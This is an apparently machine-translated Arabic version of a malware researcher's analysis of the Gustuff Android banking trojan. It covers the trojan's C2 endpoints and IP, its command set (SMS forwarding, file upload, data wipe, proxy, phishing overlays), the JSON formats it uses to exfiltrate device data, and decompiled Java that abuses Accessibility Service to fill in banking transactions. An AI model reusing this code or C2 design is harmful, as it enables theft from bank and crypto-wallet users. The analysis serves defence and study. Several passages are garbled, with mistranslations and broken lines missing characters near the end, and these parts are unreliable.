كيف يزيل Android Gustuff Trojan الكريم (fiat و crypto) من حساباتك



في اليوم الآخر ، أبلغت Group-IB عن نشاط الهاتف المحمول الذي يعمل بنظام Android Trojan Gustuff. إنه يعمل حصريًا في الأسواق الدولية ، حيث يهاجم عملاء أكبر 100 بنك أجنبي ومستخدمي 32 محفظة تشفير للهواتف المحمولة بالإضافة إلى موارد كبيرة للتجارة الإلكترونية. لكن مطور غوستوف هو مجرم إلكتروني ناطق بالروسية تحت لقب Bestoffer. حتى وقت قريب ، امتدح حصان طروادة باعتباره "منتجًا خطيرًا للأشخاص ذوي المعرفة والخبرة".

يروي إيفان بيساريف ، المتخصص في تحليل الشفرة الخبيثة Group-IB ، في بحثه بالتفصيل كيف يعمل غوستوف وما هو خطورته.

من هو غوستوف الذي يبحث عن؟


يعد Gustuff جيلًا جديدًا من البرامج الضارة مع ميزات آلية بالكامل. وفقًا للمطور ، أصبحت طروادة نسخة محسّنة جديدة من البرامج الضارة لـ AndyBot ، التي تهاجم هواتف Android منذ نوفمبر 2017 وتسرق الأموال من خلال نماذج ويب للخداع تنكر كتطبيقات محمولة للبنوك الدولية المعروفة وأنظمة الدفع. ذكرت شركة Bestoffer أن سعر استئجار غوستاف بوت كان 800 دولار في الشهر.

أظهر تحليل عينة غوستوف أن طروادة تستهدف العملاء الذين يستخدمون تطبيقات الهاتف المحمول لأكبر البنوك ، مثل بنك أوف أميركا وبنك اسكتلندا وجي بي مورغان وويلز فارجو وكابيتال وان وبنك تي دي وبنك بي إن سي بالإضافة إلى محفظة بيتكوين ومحافظ تشفير BitPay ، Cryptopay ، Coinbase ، إلخ.

تم إنشاء الإصدار الحالي من Gustuff في الأصل باعتباره طروادة مصرفية كلاسيكية ، وسّع بشكل كبير قائمة الأهداف المحتملة للهجوم. بالإضافة إلى تطبيقات Android للبنوك وشركات fintech وخدمات التشفير ، يستهدف Gustuff مستخدمي تطبيقات السوق والمتاجر عبر الإنترنت وأنظمة الدفع والرسائل الفورية. على وجه الخصوص ، PayPal ، Western Union ، eBay ، Walmart ، Skype ، WhatsApp ، Gett Taxi ، Revolut وغيرها.

نقطة الدخول: حساب العدوى الجماعية


يتميز Gustuff بمتجه الاختراق "الكلاسيكي" للهواتف الذكية التي تعمل بنظام أندرويد من خلال الرسائل النصية القصيرة التي تحتوي على روابط إلى ملفات APK إذا كان جهاز Android مصابًا بحصان طروادة في أمر الخادم ، فقد ينتشر غوستوف بشكل أكبر من خلال قاعدة بيانات جهات الاتصال الخاصة بالهاتف المصاب أو من خلال قاعدة بيانات الخادم. تم تصميم وظيفة Gustuff للعدوى الهائلة وتحقيق أقصى استفادة من الأعمال التجارية لمشغليها - لها وظيفة فريدة تتمثل في "الملء التلقائي" في التطبيقات المصرفية المتنقلة الشرعية ومحافظ التشفير ، والتي تتيح لك تسريع وتيرة سرقة الأموال.

أظهرت دراسة طروادة أن وظيفة الملء التلقائي تم تنفيذها باستخدام خدمة إمكانية الوصول - وهي خدمة للأشخاص ذوي الإعاقة. ليست لعبة Gustuff هي أول حصان طروادة يتجاوز بنجاح الحماية من التفاعل مع عناصر نافذة التطبيقات الأخرى التي تستخدم خدمة Android هذه. ومع ذلك ، لا يزال استخدام خدمة إمكانية الوصول إلى جانب التحميل التلقائي نادرًا جدًا.

بعد تنزيل الضحية إلى الهاتف ، تتاح لـ Gustuff ، باستخدام Accessibility Service ، الفرصة للتفاعل مع عناصر نافذة التطبيقات الأخرى (المصرفية ، عملة التشفير ، وكذلك تطبيقات التسوق عبر الإنترنت ، المراسلة ، إلخ) ، وتنفيذ الإجراءات اللازمة للمهاجمين. على سبيل المثال ، في أمر الخادم ، يمكن لأحصنة طروادة النقر على الأزرار وتغيير قيم الحقول النصية في التطبيقات المصرفية. يتيح استخدام آلية إمكانية الوصول لـ Trojan تجاوز آليات الحماية المستخدمة من قبل البنوك لمواجهة أحصنة طروادة المتنقلة من الجيل السابق ، وكذلك التغييرات في سياسة الأمان التي تقدمها Google في الإصدارات الجديدة من نظام التشغيل Android OS. لذا ، فإن Gustuff "يعرف كيف" لتعطيل حماية Google Protect: وفقًا للمؤلف ، تعمل هذه الوظيفة في 70٪ من الحالات.



يمكن لـ Gustuff أيضًا عرض إعلامات PUSH المزيفة بأيقونات للتطبيقات المحمولة الشرعية. ينقر المستخدم على إخطار PUSH ويشاهد نافذة خداع تم تنزيلها من الخادم ، حيث يقوم هو نفسه بإدخال البيانات المطلوبة من بطاقة مصرفية أو محفظة تشفير. في سيناريو Gustuff آخر ، يتم فتح تطبيق نيابةً عنه تم عرض إخطار PUSH. في هذه الحالة ، يمكن للبرنامج الضار ، بناءً على أمر الخادم من خلال "خدمة إمكانية الوصول" ، ملء حقول النموذج للتطبيق المصرفي لمعاملة احتيالية.

تتضمن وظائف Gustuff أيضًا إرسال معلومات حول جهاز مصاب إلى الخادم ، والقدرة على قراءة / إرسال رسائل SMS ، وإرسال طلبات USSD ، وإطلاق SOCKS5 Proxy ، واتباع الرابط ، وإرسال الملفات (بما في ذلك عمليات المسح الضوئي للوثائق والصور ، والصور) إلى الخادم إعادة ضبط الجهاز على إعدادات المصنع.

تحليل البرامج الضارة


قبل تثبيت تطبيق ضار ، يعرض Android OS للمستخدم نافذة تحتوي على قائمة بالحقوق التي طلبها Gustuff:

بديل الصورة

لن يحدث تثبيت التطبيق إلا بعد الحصول على موافقة المستخدم. بعد بدء تشغيل التطبيق ، ستظهر طروادة للمستخدم نافذة:

بديل الصورة

ثم سيتم حذف الرمز الخاص به.

يتم تعبئتها ، وفقًا للمؤلف ، من قِبل شركة FTT. بعد البدء ، يصل التطبيق بشكل دوري إلى خادم CnC من أجل تلقي الأوامر. في العديد من الملفات التي قمنا بفحصها ، تم استخدام عنوان IP 88.99.171 [.] 105 كخادم تحكم (يشار إليه فيما يلي باسم <٪ CnC٪> ).

بعد البدء ، يبدأ البرنامج في إرسال الرسائل إلى الخادم http: // <٪ CnC٪> /api/v1/get.php .

كإجابة ، من المتوقع JSON بالتنسيق التالي:

{ "results" : "OK", "command":{ "id": "<%id%>", "command":"<%command%>", "timestamp":"<%Server Timestamp%>", "params":{ <%Command parameters as JSON%> }, }, } 

في كل مرة يرسل التطبيق معلومات حول جهاز مصاب. ويرد شكل الرسالة أدناه. تجدر الإشارة إلى أن الحقول الكاملة والتطبيقات الإضافية والإذن اختيارية وسيتم إرسالها فقط في حالة وجود أمر request من CnC.

 { "info": { "info": { "cell":<%Sim operator name%>, "country":<%Country ISO%>, "imei":<%IMEI%>, "number":<%Phone number%>, "line1Number":<%Phone number%>, "advertisementId":<%ID%> }, "state": { "admin":<%Has admin rights%>, "source":<%String%>, "needPermissions":<%Application needs permissions%>, "accesByName":<%Boolean%>, "accesByService":<%Boolean%>, "safetyNet":<%String%>, "defaultSmsApp":<%Default Sms Application%>, "isDefaultSmsApp":<%Current application is Default Sms Application%>, "dateTime":<%Current date time%>, "batteryLevel":<%Battery level%> }, "socks": { "id":<%Proxy module ID%>, "enabled":<%Is enabled%>, "active":<%Is active%> }, "version": { "versionName":<%Package Version Name%>, "versionCode":<%Package Version Code%>, "lastUpdateTime":<%Package Last Update Time%>, "tag":<%Tag, default value: "TAG"%>, "targetSdkVersion":<%Target Sdk Version%>, "buildConfigTimestamp":1541309066721 }, }, "full": { "model":<%Device Model%>, "localeCountry":<%Country%>, "localeLang":<%Locale language%>, "accounts":<%JSON array, contains from "name" and "type" of accounts%>, "lockType":<%Type of lockscreen password%> }, "extra": { "serial":<%Build serial number%>, "board":<%Build Board%>, "brand":<%Build Brand%>, "user":<%Build User%>, "device":<%Build Device%>, "display":<%Build Display%>, "id":<%Build ID%>, "manufacturer":<%Build manufacturer%>, "model":<%Build model%>, "product":<%Build product%>, "tags":<%Build tags%>, "type":<%Build type%>, "imei":<%imei%>, "imsi":<%imsi%>, "line1number":<%phonenumber%>, "iccid":<%Sim serial number%>, "mcc":<%Mobile country code of operator%>, "mnc":<%Mobile network codeof operator%>, "cellid":<%GSM-data%>, "lac":<%GSM-data%>, "androidid":<%Android Id%>, "ssid":<%Wi-Fi SSID%> }, "apps":{<%List of installed applications%>}, "permission":<%List of granted permissions%> } 

تخزين بيانات التكوين


يقوم Gustuff بتخزين معلومات العمل المهمة في ملف التفضيل. اسم الملف ، وكذلك أسماء المعلمات فيه ، هو نتيجة لحساب مجموع MD5 من السطر 15413090667214.6.1 <٪ name٪> ، حيث <٪ name٪> هي القيمة الاسمية الأصلية. تفسير بايثون لوظيفة توليد الاسم:

  nameGenerator(input): output = md5("15413090667214.6.1" + input) 

في ما يلي ، سنشير إليها باسم nameenerator (إدخال) .

وبالتالي ، فإن اسم الملف الأول هو: nameGenerator ("API_SERVER_LIST") ، وهو يحتوي على قيم بالأسماء التالية:

اسم متغيرقيمة
nameGenerator ("API_SERVER_LIST")يحتوي على قائمة بعناوين CnC كصفيف.
nameGenerator ("API_SERVER_URL")يحتوي على عنوان CnC.
nameGenerator ("SMS_UPLOAD")يتم تعيين العلم بشكل افتراضي. إذا تم تعيين العلم - يرسل رسائل SMS إلى CnC.
nameGenerator ("SMS_ROOT_NUMBER")رقم الهاتف الذي سيتم إرسال الرسائل القصيرة التي يستلمها الجهاز المصاب. الافتراضي فارغ.
nameGenerator ("SMS_ROOT_NUMBER_RESEND")يتم مسح العلم بشكل افتراضي. في حالة التثبيت ، عندما يتلقى جهاز مصاب رسالة نصية قصيرة ، سيتم إرساله إلى رقم الجذر.
nameGenerator ("DEFAULT_APP_SMS")يتم مسح العلم بشكل افتراضي. إذا تم تعيين هذه العلامة ، فسيقوم التطبيق بمعالجة رسائل SMS الواردة.
nameGenerator ("DEFAULT_ADMIN")يتم مسح العلم بشكل افتراضي. إذا تم تعيين العلم ، فإن التطبيق لديه حقوق المسؤول.
nameGenerator ("DEFAULT_ACCESSIBILITY")يتم مسح العلم بشكل افتراضي. في حالة تعيين العلامة ، يتم تشغيل خدمة تستخدم خدمة إمكانية الوصول.
nameGenerator ("APPS_CONFIG")يحتوي كائن JSON على قائمة بالإجراءات التي يجب تنفيذها عند تشغيل حدث إمكانية الوصول المرتبط بتطبيق معين.
nameGenerator ("APPS_INSTALLED")يخزن قائمة بالتطبيقات المثبتة على الجهاز.
nameGenerator ("IS_FIST_RUN")يتم إعادة تعيين العلم في البداية.
nameGenerator ("UNIQUE_ID")يحتوي على معرف فريد. يتم إنشاؤه عند الإطلاق الأول للروبوت.

خادم وحدة معالجة الأمر


يخزن التطبيق عناوين خوادم CnC كصفيف من سلاسل ترميز Base85 . يمكن تغيير قائمة خوادم CnC عند استلام الأمر المناسب ، وفي هذه الحالة سيتم تخزين العناوين في ملف تفضيل.

استجابة للطلب ، يرسل الخادم أمرًا إلى التطبيق. تجدر الإشارة إلى أن الأوامر والمعلمات معروضة بتنسيق JSON. يمكن للتطبيق معالجة الأوامر التالية:
الفريقوصف
forwardStartابدأ في إرسال رسائل SMS التي يستلمها الجهاز المصاب إلى خادم CnC.
forwardStopتوقف عن إرسال الرسائل القصيرة التي يستلمها الجهاز المصاب إلى خادم CnC.
ussdRunقم بتشغيل طلب USSD. الرقم الذي تريد تقديم طلب USSD له هو في حقل "رقم" JSON.
sendSmsإرسال رسالة SMS واحدة (إذا لزم الأمر ، الرسالة "تقسيم" إلى أجزاء). كمعلمة ، يأخذ الأمر كائن JSON يحتوي على حقول "إلى" - رقم الوجهة و "نص" - نص الرسالة.
sendSmsAbإرسال رسائل SMS (إذا لزم الأمر ، يتم تقسيم الرسالة إلى أجزاء) للجميع من قائمة جهات الاتصال الخاصة بالجهاز المصاب. الفاصل الزمني بين إرسال الرسائل هو 10 ثوان. نص الرسالة في حقل JSON "نص"
sendSmsMassإرسال رسائل SMS (إذا لزم الأمر ، يتم تقسيم الرسالة إلى أجزاء) إلى جهات الاتصال المحددة في معلمات الأمر. الفاصل الزمني بين إرسال الرسائل هو 10 ثوان. كمعلمة ، يقبل الأمر صفيف JSON (الحقل "sms") ، تحتوي عناصره على الحقول "إلى" - رقم الوجهة و "نص" - نص الرسالة.
changeServerيمكن أن يأخذ هذا الأمر كمعلمة قيمة باستخدام المفتاح "url" - ثم يقوم الروبوت بتغيير قيمة nameGenerator ("SERVER_URL") أو "array" - ثم يكتب الروبوت في المصفوفة إلى nameGenerator ("API_SERVER_LIST") وبالتالي ، فإن التطبيق يغير عنوان خوادم CnC.
adminNumberتم تصميم الأمر للعمل مع رقم الجذر. يقبل الأمر كائن JSON مع المعلمات التالية: "الرقم" - تغيير اسم المولدات ("ROOT_NUMBER") إلى القيمة المستلمة ، "إعادة إرسال" - تغيير اسم المولدات ("SMS_ROOT_NUMBER_RESEND") ، "sendId" - إرسال إلى nameGenerator ("ROOT_NUMBER") uniqueID.
updateInfoإرسال معلومات حول جهاز مصاب إلى الخادم.
wipeDataتم تصميم الأمر لحذف بيانات المستخدم. اعتمادًا على الاسم الذي تم تشغيل التطبيق عليه ، إما أن يتم مسح البيانات تمامًا من خلال إعادة تشغيل الجهاز (المستخدم الأساسي) ، أو يتم حذف بيانات المستخدم فقط (مستخدم ثانوي).
socksStartإطلاق وحدة الوكيل. يوصف تشغيل الوحدة في قسم منفصل.
socksStopوقف وحدة الوكيل.
openLinkاتبع الرابط. يقع الرابط في المعلمة JSON بواسطة المفتاح "url". لفتح الرابط ، استخدم "android.intent.action.VIEW".
uploadAllSmsأرسل إلى الخادم جميع الرسائل القصيرة التي يستلمها الجهاز.
uploadAllPhotosأرسل الصور من جهاز مصاب إلى عنوان URL. يأتي عنوان URL كمعلمة.
uploadFileأرسل الملف إلى عنوان URL من الجهاز المصاب. يأتي عنوان URL كمعلمة.
uploadPhoneNumbersإرسال أرقام الهواتف من قائمة الاتصال إلى الخادم. إذا كان كائن JSON مع المفتاح "ab" يأتي كمعلمة ، فسيتلقى التطبيق قائمة جهات الاتصال من دفتر الهاتف. إذا كان كائن JSON مع مفتاح "sms" يأتي كمعلمة ، فإن التطبيق يقرأ قائمة جهات الاتصال من مرسلي رسائل SMS.
changeArchiveيقوم التطبيق بتنزيل الملف من العنوان ، والذي يأتي كمعلمة باستخدام المفتاح "url". يتم حفظ الملف الذي تم تنزيله باسم "archive.zip". بعد ذلك ، سيقوم التطبيق بفك ضغط الملف ، إذا لزم الأمر ، باستخدام كلمة المرور للأرشيف "b5jXh37gxgHBrZhQ4j3D". يتم حفظ الملفات التي تم فك ضغطها في الدليل [hgps في وحدة التخزين الخارجية]. في هذا الدليل ، يخزن التطبيق مزيفات الويب (الموصوفة لاحقًا).
الإجراءاتتم تصميم الأمر للعمل مع Action Service ، الموضح في قسم منفصل.
اختبارلا يفعل شيئا.
تحميلتم تصميم الأمر لتنزيل ملف من خادم بعيد وحفظه في دليل التنزيلات. يأتي عنوان URL واسم الملف كمعلمة ، والحقول في معلمة كائن JSON ، على التوالي: "url" و "fileName".
إزالةحذف ملف من دليل التنزيلات. اسم الملف يأتي في المعلمة JSON مع مفتاح "fileName". اسم الملف الافتراضي هو "tmp.apk".
إعلامعرض إشعار مع نصوص الوصف والعنوان المحددة بواسطة خادم الإدارة.

تنسيق أمر الإعلام هو:

 { "results" : "OK", "command":{ "id": <%id%>, "command":"notification", "timestamp":<%Server Timestamp%>, "params":{ "openApp":<%Open original app or not%>, "array":[ {"title":<%Title text%>, "desc":<%Description text%>, "app":<%Application name%>} ] }, }, } 

يبدو الإشعار الذي تم إنشاؤه بواسطة الملف الذي تم التحقيق فيه مطابقًا للإشعارات التي تم إنشاؤها بواسطة التطبيق المحدد في حقل التطبيق . إذا كانت قيمة حقل openApp هي True ، عند فتح الإشعار ، يتم تشغيل التطبيق المحدد في مجال التطبيق . إذا كانت قيمة حقل openApp هي False ، إذن:

  • يتم فتح نافذة تصيد ، يتم تنزيل محتوياتها من الدليل <٪ تخزين خارجي٪> / hgps / <٪ filename٪>
  • يتم فتح نافذة تصيد ، يتم تنزيل محتوياتها من الخادم <٪ url٪>؟ id = <٪ Bot id٪> & app = <٪ Application name٪>
  • يتم فتح نافذة خداع متخفية في صورة بطاقة Google Play ، مع إمكانية إدخال معلومات البطاقة.

يرسل التطبيق نتيجة تنفيذ أي أمر إلى <٪ CnC٪> \ set_state.php ككائن JSON بالتنسيق التالي:

 { "command": { "command":<%command%>, "id":<%command_id%>, "state":<%command_state%> } "id":<%bot_id%> } 

ActionsService

قائمة الأوامر التي تتضمنها عمليات التطبيق. عند استلام أمر ، تصل وحدة معالجة الأمر إلى هذه الخدمة من أجل تنفيذ أمر ممتد. تقبل الخدمة كائن JSON كمعلمة. يمكن للخدمة تنفيذ الأوامر التالية:

1. PARAMS_ACTION - عند استلام مثل هذا الأمر ، تتلقى الخدمة أولاً وقبل كل شيء من المعلمة JSON القيمة حسب مفتاح الكتابة ، وقد تكون كما يلي:

  • serviceInfo - يستلم الأمر الفرعي من المعلمة JSON قيمة المفتاح includeNotImportant . إذا كانت العلامة هي True ، فسيقوم التطبيق بتعيين إشارة FLAG_ISOLATED_PROCESS على خدمة تستخدم خدمة إمكانية الوصول. وبالتالي ، سيتم إطلاق الخدمة في عملية منفصلة.
  • الجذر - احصل على معلومات حول النافذة وترسلها إلى الخادم ، والتي أصبحت الآن في وضع التركيز. يسترد تطبيق المعلومات باستخدام فئة AccessibilityNodeInfo.
  • المسؤول - طلب حقوق المسؤول.
  • التأخير - قم بتعليق ActionsService لعدد المللي ثانية المحدد في المعلمة باستخدام مفتاح "البيانات".
  • windows - إرسال قائمة من النوافذ المرئية للمستخدم.
  • تثبيت - تثبيت التطبيق على جهاز مصاب. اسم الحزمة - الأرشيف في مفتاح "fileName". الأرشيف نفسه موجود في دليل التنزيلات.
  • عالمي - تم تصميم الأمر الفرعي للانتقال من النافذة الحالية:
    • في قائمة الإعدادات السريعة
    • منذ
    • منزل
    • إلى الإخطارات
    • إلى نافذة التطبيقات المفتوحة مؤخرا

  • إطلاق - إطلاق التطبيق. يأتي اسم التطبيق كمعلمة بواسطة مفتاح البيانات .
  • الأصوات - تغيير وضع الصوت لإسكات.
  • فتح - تشغيل الإضاءة الخلفية للشاشة ولوحة المفاتيح بملء سطوع. يقوم التطبيق بهذا الإجراء باستخدام WakeLock ، السلسلة [التطبيق lable]: INFO
  • allowOverlay - لم يتم تنفيذ الوظيفة (الاستجابة لتنفيذ الأمر هي {"message": "Not support"} أو {"message": "low sdk"})
  • إيماءة - لم يتم تنفيذ الوظيفة (الاستجابة لتنفيذ الأمر هي {"message": "Not support"} أو {"message": "Low API"})
  • الأذونات - هذا الأمر مطلوب لطلب أذونات للتطبيق. ومع ذلك ، لا يتم تنفيذ وظيفة الاستعلام ، وبالتالي فإن الأمر لا معنى له. تأتي قائمة الحقوق المطلوبة كصفيف JSON مع مفتاح "الأذونات". القائمة القياسية:

    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • فتح - عرض نافذة التصيد. بناءً على المعلمة الواردة من الخادم ، قد يعرض التطبيق نوافذ الخداع التالية:

    • إظهار نافذة تصيد ، تتم كتابة محتوياتها في الملف في الدليل <٪ الدليل الخارجي٪> / hgps / <٪ param_filename٪> . سيتم إرسال نتيجة تفاعل المستخدم مع النافذة إلى <٪ CnC٪> / records.php
    • عرض نافذة تصيد محتوياتها محملة مسبقًا من العنوان <٪ url_param٪>؟ Id = <٪ bot_id٪> & app = <٪ packagename٪> . سيتم إرسال نتيجة تفاعل المستخدم مع النافذة إلى <٪ CnC٪> / records.php
    • عرض نافذة التصيد المتنكر في صورة بطاقة Google Play.
  • تفاعلية - تم تصميم الأمر للتفاعل مع عناصر نافذة التطبيقات الأخرى باستخدام AcessibilityService. للتفاعل ، يتم تنفيذ خدمة خاصة في البرنامج. يمكن للتطبيق قيد الدراسة التفاعل مع النوافذ:
    • نشط في الوقت الراهن. في هذه الحالة ، تحتوي المعلمة على معرف أو نص (اسم) الكائن الذي من الضروري التفاعل معه.
    • مرئي للمستخدم في وقت تنفيذ الأمر. يختار التطبيق windows بواسطة id.

    بعد تلقي كائنات AccessibilityNodeInfo لعناصر الإطار المهمة ، يمكن للتطبيق ، اعتمادًا على المعلمات ، تنفيذ الإجراءات:
    • التركيز - ضبط التركيز على الكائن.
    • انقر - انقر فوق كائن.
    • actionId - تنفيذ إجراء بمعرف.
    • setText - تغيير نص الكائن. يمكنك تغيير النص بطريقتين: تنفيذ الإجراء ACTION_SET_TEXT (إذا كان إصدار Android للجهاز المصاب أصغر من أو يساوي LOLLIPOP ) ، أو عن طريق وضع سطر في الحافظة ولصقه في الكائن (للإصدارات الأقدم). يمكن استخدام هذا الأمر لتغيير البيانات في تطبيق مصرفي.

2. PARAMS_ACTIONS - مثل PARAMS_ACTION ، تأتي فقط مجموعة JSON من الأوامر.

يبدو أن الكثيرين مهتمون بما تبدو عليه وظيفة التفاعل مع عناصر نافذة تطبيق آخر. هذه هي الطريقة التي يتم بها تطبيق هذه الوظيفة في Gustuff:

 boolean interactiveAction(List aiList, JSONObject action, JsonObject res) { int count = action.optInt("repeat", 1); Iterator aiListIterator = ((Iterable)aiList).iterator(); int count = 0; while(aiListIterator.hasNext()) { Object ani = aiListIterator.next(); if(1 <= count) { int index; for(index = 1; true; ++index) { if(action.has("focus")) { if(((AccessibilityNodeInfo)ani).performAction(1)) { ++count; } } else if(action.has("click")) { if(((AccessibilityNodeInfo)ani).performAction(16)) { ++count; } } else if(action.has("actionId")) { if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) { ++count; } } else if(action.has("setText")) { customHeader ch = CustomAccessibilityService.a; Context context = this.getApplicationContext(); String text = action.optString("setText"); if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) { ++count; } } if(index == count) { break; } } } ((AccessibilityNodeInfo)ani).recycle(); } res.addPropertyNumber("res", Integer.valueOf(count)); } 

وظيفة استبدال النص:

 boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) { boolean result; if(Build$VERSION.SDK_INT >= 21) { Bundle b = new Bundle(); b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text)); result = ani.performAction(0x200000, b); // ACTION_SET_TEXT } else { Object clipboard = context.getSystemService("clipboard"); if(clipboard != null) { ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text))); result = ani.performAction(0x8000); // ACTION_PASTE } else { result = false; } } return result; } 

وبالتالي ، إذا تم تكوين خادم التحكم بشكل صحيح ، فإن Gustuff قادر على ملء الحقول النصية في التطبيق المصرفي والنقر على الأزرار اللازمة للمعاملة. لا يحتاج Trojan حتى إلى التفويض في التطبيق - فقط أرسل أمرًا لإظهار إخطار PUSH ، متبوعًا بفتح التطبيق المصرفي المثبت مسبقًا. سيخضع المستخدم للترخيص ، وبعد ذلك سيتمكن Gustuff من الملء التلقائي.

وحدة معالجة الرسائل القصيرة


يقوم التطبيق بتعيين معالج الأحداث لقبول رسائل SMS بواسطة الجهاز المصاب. يمكن للتطبيق قيد الدراسة تلقي أوامر من المشغل الذي يأتي في نص رسائل SMS. الأوامر تأتي بالتنسيق:

7! 5 = <٪ Base64 ترميز الأمر٪>

يبحث التطبيق في جميع رسائل SMS الواردة عن السلسلة 7! 5 = ، إذا كشف عن سلسلة ، يقوم بترميز سلسلة Base64 عند الإزاحة 4 وتنفيذ الأمر. تشبه الأوامر الأوامر باستخدام CnC. يتم إرسال نتيجة التنفيذ إلى نفس الرقم الذي جاء منه الأمر. تنسيق الإجابة:

7 * 5 = <٪ Base64 ترميز "command_code command"٪>

اختياريا ، يمكن للتطبيق إرسال جميع الرسائل المستلمة إلى رقم الجذر. للقيام بذلك ، يجب تحديد رقم الجذر في ملف التفضيل وتعيين علامة إعادة توجيه الرسالة. يتم إرسال رسالة SMS إلى رقم المهاجم بالتنسيق:

<٪ من رقم٪> - <٪ الوقت ، التنسيق: dd / MM / yyyy HH: mm: ss٪> <٪ SMS body٪>

كما يمكن للتطبيق أيضًا إرسال رسائل إلى CnC. يتم إرسال رسالة SMS إلى الخادم بتنسيق JSON:

 { "id":<%BotID%>, "sms": { "text":<%SMS body%>, "number":<%From number%>, "date":<%Timestamp%> } } 

إذا تم تعيين flag nameGenerator ("DEFAULT_APP_SMS") ، فإن التطبيق يتوقف عن معالجة رسائل SMS ويمسح قائمة الرسائل الواردة.

وحدة الوكيل


في التطبيق قيد الدراسة ، توجد وحدة Backlink Proxy (يشار إليها فيما يلي بوحدة Proxy) ، والتي تحتوي على فصل منفصل يتضمن الحقول الثابتة مع التكوين. يتم تخزين بيانات التكوين في العينة في شكل مفتوح:

بديل الصورة


يتم تسجيل جميع الإجراءات التي تقوم بها وحدة الوكيل إلى الملفات. للقيام بذلك ، ينشئ التطبيق في وحدة التخزين الخارجية دليلًا يسمى "سجلات" (الحقل ProxyConfigClass.logsDir في فئة التكوين) ، حيث يتم تخزين ملفات السجل. يحدث التسجيل في الملفات ذات الأسماء:

  1. main.txt - تسجل هذه الفئة تشغيل الفئة باسم CommandServer. في المستقبل ، سيتم الإشارة إلى تسجيل سلسلة str لهذا الملف باسم mainLog (str).
  2. الجلسة - <٪ id٪>. txt - يتم حفظ بيانات السجل المرتبطة بجلسة وكيل محددة في هذا الملف. ستتم الإشارة إلى تسجيل مزيد من سلسلة str لهذا الملف باسم sessionLog (str).
  3. server.txt - هذه البيانات تسجل جميع البيانات المكتوبة إلى الملفات المذكورة أعلاه.

تنسيق بيانات السجل:

<٪ Date٪> [Thread [<٪ thread id٪>]، id []]: log-string

يتم أيضًا تسجيل الاستثناءات التي تحدث أثناء تشغيل الوحدة النمطية الوكيل إلى ملف. لهذا ، ينشئ التطبيق كائن JSON بالتنسيق:

 { "uncaughtException":<%short description of throwable%> "thread":<%thread%> "message":<%detail message of throwable%> "trace": //Stack trace info [ { "ClassName": "FileName": "LineNumber": "MethodName": }, { "ClassName": "FileName": "LineNumber": "MethodName": } ] } 

ثم يحولها إلى تمثيل سلسلة وسجلات.

يتم إطلاق وحدة البروكسي بعد استلام الفريق المناسب. عند وصول أمر لبدء تشغيل الوحدة النمطية Proxy ، يبدأ التطبيق في تشغيل خدمة تسمى MainService ، وهي المسؤولة عن التحكم في تشغيل الوحدة النمطية Proxy - البداية والتوقف.

مراحل بدء الخدمة:

1. يبدأ مؤقت يعمل مرة واحدة في الدقيقة ويتحقق من نشاط وحدة الوكيل. إذا لم تكن الوحدة نشطة ، فستبدأ تشغيله.
أيضًا ، عند تشغيل الحدث android.net.conn.CONNECTIVITY_CHANGE ، تبدأ وحدة Proxy.

2. يقوم التطبيق بإنشاء قفل تنبيه مع المعلمة PARTIAL_WAKE_LOCK والتقاطه . لذلك ، لا يسمح بوحدة المعالجة المركزية للجهاز بالدخول إلى وضع السكون.

3. يبدأ تشغيل فئة معالجة أمر الوحدة النمطية عن طريق تسجيل خط mainLog أولاً ("start server") و

الخادم :: start () المضيف [<٪ proxy_cnc٪>] ، commandPort [<٪ command_port٪>] ، proxyPort [<٪ proxy_port٪>]

حيث proxy_cnc و command_port و proxy_port هي المعلمات التي تم الحصول عليها من تكوين الخادم الوكيل.

تسمى فئة معالجة الأمر CommandConnection . مباشرة بعد الإطلاق ، تنفذ الإجراءات التالية:

4. يتصل بـ ProxyConfigClass.host : ProxyConfigClass.commandPort ويرسل إلى هناك البيانات حول الجهاز المصاب بتنسيق JSON:

 { "id":<%id%>, "imei":<%imei%>, "imsi":<%imsi%>, "model":<%model%>, "manufacturer":<%manufacturer%>, "androidVersion":<%androidVersion%>, "country":<%country%>, "partnerId":<%partnerId%>, "packageName":<%packageName%>, "networkType":<%networkType%>, "hasGsmSupport":<%hasGsmSupport%>, "simReady":<%simReady%>, "simCountry":<%simCountry%>, "networkOperator":<%networkOperator%>, "simOperator":<%simOperator%>, "version":<%version%> } 

حيث:

  • معرف الهوية ، يحاول الحصول على القيمة مع حقل معرف من ملف التفضيل المشترك بالاسم "x". إذا تعذر الحصول على هذه القيمة ، فإنها تولد قيمة جديدة. , Proxy- ̆ , ̆ Bot ID.
  • imei — IMEI ̆. — .
  • imsi — International Mobile Subscriber Identity ̆. — .
  • model — The end-user-visible name for the end product.
  • manufacturer — The manufacturer of the product/hardware (Build.MANUFACTURER).
  • androidVersion — "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • country — ̆.
  • partnerId – .
  • packageName – package name.
  • networkType - نوع اتصال الشبكة الحالي (مثال: "WIFI" ، "MOBILE"). في حالة وجود خطأ ، تقوم بإرجاع قيمة خالية.
  • hasGsmSupport - صحيح - إذا كان الهاتف يدعم GSM ، أو غير صحيح.
  • simReady - حالة بطاقة SIM.
  • simCountry - رمز ISO للبلد (بناءً على مزود بطاقة SIM).
  • networkOperator - اسم المشغل. إذا حدث خطأ أثناء تلقي القيمة ، فستتم كتابة رسالة نصية خطأ بدلاً من هذا الحقل.
  • simOperator - اسم مزود الخدمة (SPN). إذا حدث خطأ أثناء تلقي القيمة ، فستتم كتابة رسالة نصية خطأ بدلاً من هذا الحقل.
  • الإصدار - يتم تخزين هذا الحقل في فئة التكوين ، بالنسبة لإصدارات الروبوت التي تمت دراستها ، كانت مساوية لـ "1.6".

5. يذهب إلى أوامر الاستعداد من الخادم. تأتي الأوامر من الخادم بالتنسيق:

  • 0 إزاحة - الأمر
  • 1 إزاحة - sessionId
  • 2 offset – length
  • 4 offset — data

:

mainLog(«Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }»)

:

NameCommandمعطياتوصف
connectionId0Connection ID
SLEEP3وقتProxy-
PING_PONG4-PONG-

